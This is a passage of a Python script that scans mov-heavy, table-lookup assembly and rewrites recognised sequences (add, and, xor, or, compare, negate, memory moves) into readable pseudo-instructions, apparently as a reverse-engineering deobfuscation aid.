24 "mov r9, " in s(lines[i + 5]),
25 "mov r10, " in s(lines[i + 6]),
26 ]):
27 src1 = lines[i + 4].split("offset ")[1]
28 src2 = lines[i + 5].split("offset ")[1]
29 dst = lines[i + 6].split("offset ")[1]
30

31 if "add_carry_table" in s(lines[i + 9]) and "add_table" in s(lines[i + 12]):
32 if all([
33 "*8]" in s(lines[i + 7 + 18*0]),
34 "*8+1]" in s(lines[i + 7 + 18*1]),
35 "*8+2]" in s(lines[i + 7 + 18*2]),
36 "*8+3]" in s(lines[i + 7 + 18*3]),
37 "*8+4]" in s(lines[i + 7 + 18*4]),
38 "*8+5]" in s(lines[i + 7 + 18*5]),
39 "*8+6]" in s(lines[i + 7 + 18*6]),
40 "*8+7]" in s(lines[i + 7 + 18*7]),
41 "*8+7], al" in s(lines[i + 150]),
42 ]):
43 lifted = f"mov [{dst}], [{src1}] + [{src2}] ; qword add"
44 lifted = lines[i].split(" ")[0] + " " * 17 + lifted
45 out.append(lifted)
46 i += 151
47 continue
48

49 if all([
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50 "mov rax, 0" in s(lines[i]),
51 "mov rbx, rax" in s(lines[i + 1]),
52 "mov r8, " in s(lines[i + 2]),
53 "mov r9, " in s(lines[i + 3]),
54 "mov r10, " in s(lines[i + 4]),
55 ]):
56 src1 = lines[i + 2].split("offset ")[1]
57 src2 = lines[i + 3].split("offset ")[1]
58 dst = lines[i + 4].split("offset ")[1]
59

60 if "and_table" in s(lines[i + 7]):
61 if all([
62 "*8]" in s(lines[i + 5 + 6*0]),
63 "*8+1]" in s(lines[i + 5 + 6*1]),
64 "*8+2]" in s(lines[i + 5 + 6*2]),
65 "*8+3]" in s(lines[i + 5 + 6*3]),
66 "*8+4]" in s(lines[i + 5 + 6*4]),
67 "*8+5]" in s(lines[i + 5 + 6*5]),
68 "*8+6]" in s(lines[i + 5 + 6*6]),
69 "*8+7]" in s(lines[i + 5 + 6*7]),
70 ]):
71 lifted = f"mov [{dst}], [{src1}] & [{src2}] ; qword and"
72 lifted = lines[i].split(" ")[0] + " " * 17 + lifted
73 out.append(lifted)
74 i += 53
75 continue
76

77 if "xor_table" in s(lines[i + 7]):
78 if all([
79 "*8]" in s(lines[i + 5 + 6*0]),
80 "*8+1]" in s(lines[i + 5 + 6*1]),
81 "*8+2]" in s(lines[i + 5 + 6*2]),
82 "*8+3]" in s(lines[i + 5 + 6*3]),
83 "*8+4]" in s(lines[i + 5 + 6*4]),
84 "*8+5]" in s(lines[i + 5 + 6*5]),
85 "*8+6]" in s(lines[i + 5 + 6*6]),
86 "*8+7]" in s(lines[i + 5 + 6*7]),
87 ]):
88 lifted = f"mov [{dst}], [{src1}] ^ [{src2}] ; qword xor"
89 lifted = lines[i].split(" ")[0] + " " * 17 + lifted
90 out.append(lifted)
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91 i += 53
92 continue
93

94 if "or_table" in s(lines[i + 7]) and not "xor" in s(lines[i + 7]):
95 if all([
96 "*8]" in s(lines[i + 5 + 6*0]),
97 "*8+1]" in s(lines[i + 5 + 6*1]),
98 "*8+2]" in s(lines[i + 5 + 6*2]),
99 "*8+3]" in s(lines[i + 5 + 6*3]),

100 "*8+4]" in s(lines[i + 5 + 6*4]),
101 "*8+5]" in s(lines[i + 5 + 6*5]),
102 "*8+6]" in s(lines[i + 5 + 6*6]),
103 "*8+7]" in s(lines[i + 5 + 6*7]),
104 ]):
105 lifted = f"mov [{dst}], [{src1}] | [{src2}] ; qword xor"
106 lifted = lines[i].split(" ")[0] + " " * 17 + lifted
107 out.append(lifted)
108 i += 53
109 continue
110

111 if "cmp_eq_table" in s(lines[i + 8]):
112 if all([
113 "r15]" in s(lines[i + 6 + 6*0]),
114 "r15+1]" in s(lines[i + 6 + 6*1]),
115 "r15+2]" in s(lines[i + 6 + 6*2]),
116 "r15+3]" in s(lines[i + 6 + 6*3]),
117 "r15+4]" in s(lines[i + 6 + 6*4]),
118 "r15+5]" in s(lines[i + 6 + 6*5]),
119 "r15+6]" in s(lines[i + 6 + 6*6]),
120 "r15+7]" in s(lines[i + 6 + 6*7]),
121 ]):
122 lifted = f"mov [{dst}], [{src1}] == [{src2}] ; qword cmp eq"
123 lifted = lines[i].split(" ")[0] + " " * 17 + lifted
124 out.append(lifted)
125 i += 55
126 continue
127

128 if all([
129 "mov rax, 0" in s(lines[i]),
130 "mov rbx, rax" in s(lines[i + 1]),
131 "mov rdx, rax" in s(lines[i + 2]),
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132 "mov r8, " in s(lines[i + 3]),
133 "mov r9, " in s(lines[i + 4]),
134 ]):
135 src1 = lines[i + 3].split("offset ")[1]
136 src2 = lines[i + 4].split("offset ")[1]
137

138 if "cmp_eq_table" in s(lines[i + 8]):
139 if all([
140 "]" in s(lines[i + 6 + 6*0]),
141 "+1]" in s(lines[i + 6 + 6*1]),
142 "+2]" in s(lines[i + 6 + 6*2]),
143 "+3]" in s(lines[i + 6 + 6*3]),
144 "+4]" in s(lines[i + 6 + 6*4]),
145 "+5]" in s(lines[i + 6 + 6*5]),
146 "+6]" in s(lines[i + 6 + 6*6]),
147 "+7]" in s(lines[i + 6 + 6*7]),
148 ]):
149 lifted = f"mov dl, [{src1}] == [{src2}] ; qword cmp eq (no r15)"
150 lifted = lines[i].split(" ")[0] + " " * 17 + lifted
151 out.append(lifted)
152 i += 55
153 continue
154

155 if all([
156 "mov rax, 0" in s(lines[i]),
157 "mov r8, " in s(lines[i + 1]),
158 "mov r10, " in s(lines[i + 2]),
159 ]):
160 src = lines[i + 1].split("offset ")[1]
161 dst = lines[i + 2].split("offset ")[1]
162

163 if "opposite_table" in s(lines[i + 4]):
164 if all([
165 "*8]" in s(lines[i + 3 + 4*0]),
166 "*8+1]" in s(lines[i + 3 + 4*1]),
167 "*8+2]" in s(lines[i + 3 + 4*2]),
168 "*8+3]" in s(lines[i + 3 + 4*3]),
169 "*8+4]" in s(lines[i + 3 + 4*4]),
170 "*8+5]" in s(lines[i + 3 + 4*5]),
171 "*8+6]" in s(lines[i + 3 + 4*6]),
172 "*8+7]" in s(lines[i + 3 + 4*7]),
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173 ]):
174 lifted = f"mov [{dst}], [{src}] ^ 0xFF ; qword opposite"
175 lifted = lines[i].split(" ")[0] + " " * 17 + lifted
176 out.append(lifted)
177 i += 35
178 continue
179

180 if all([
181 ("mov rax, " in s(lines[i]) or "mov eax, " in s(lines[i])),
182 "[" not in s(lines[i]),
183 "mov r8, offset " in s(lines[i + 1]),
184 "mov [r8+r15*8], rax" in s(lines[i + 2]),
185 ]):
186 src = s(lines[i]).split("ax, ")[1]
187 dst = s(lines[i + 1]).split("offset ")[1]
188 lifted = f"mov [{dst}], {src}"
189 lifted = lines[i].split(" ")[0] + " " * 17 + lifted
190 out.append(lifted)
191 i += 3
192 continue
193

194 if all([
195 "mov rax, " in s(lines[i]),
196 "[" not in s(lines[i]),
197 "mov r8, offset " in s(lines[i + 1]),
198 "mov al, [r8+r15]" in s(lines[i + 2]),
199 ]):
200 src = s(lines[i + 1]).split("offset ")[1]
201 lifted = f"mov al, byte ptr [{src}]"
202 lifted = lines[i].split(" ")[0] + " " * 17 + lifted
203 out.append(lifted)
204 i += 3
205 continue
206

207 if all([
208 "mov r8, offset " in s(lines[i]),
209 "mov rax, 0" in s(lines[i + 1]),
210 "mov [r8+8], rax" in s(lines[i + 2]),
211 "mov rax, [r8+r15*8]" in s(lines[i + 3]),
212 "mov r8, offset " in s(lines[i + 4]),
213 "mov [r8+r15*8], rax" in s(lines[i + 5]),
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214 ]):
215 src = s(lines[i]).split("offset ")[1]
216 dst = s(lines[i + 4]).split("offset ")[1]
217 lifted = f"mov [{dst}], [{src}]"
218 lifted = lines[i].split(" ")[0] + " " * 17 + lifted
219 out.append(lifted)
220 i += 6
221 continue
222

223 if all([
224 "mov r8, offset " in s(lines[i]),
225 "mov al, [r8+r15]" in s(lines[i + 1]),
226 "mov r8, offset " in s(lines[i + 2]),
227 "mov r8, [r8+r15*8]" in s(lines[i + 3]),
228 "mov [r8+r15], al" in s(lines[i + 4]),
229 ]):
230 src = s(lines[i]).split("offset ")[1]
231 dst = s(lines[i + 2]).split("offset ")[1]
232 lifted = f"mov byte [[{dst}]], [{src}]"
233 lifted = lines[i].split(" ")[0] + " " * 17 + lifted
234 out.append(lifted)
235 i += 5
236 continue
237

238 if all([
239 "mov r8, offset " in s(lines[i]),
240 "mov r8, [r8+r15*8]" in s(lines[i + 1]),
241 "mov al, [r8+r15]" in s(lines[i + 2]),
242 "mov r8, offset " in s(lines[i + 3]),
243 "mov [r8+r15], al" in s(lines[i + 4]),
244 ]):
245 src = s(lines[i]).split("offset ")[1]
246 dst = s(lines[i + 3]).split("offset ")[1]
247 lifted = f"mov [{dst}], byte [[{src}]]"
248 lifted = lines[i].split(" ")[0] + " " * 17 + lifted
249 out.append(lifted)
250 i += 5
251 continue
252

253 out.append(lines[i])
254 i += 1
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255

256 return out
257

258

259 f = open(sys.argv[1], "r").read().split("\n")
260 f = lift(f)
261 print("\n".join(f))
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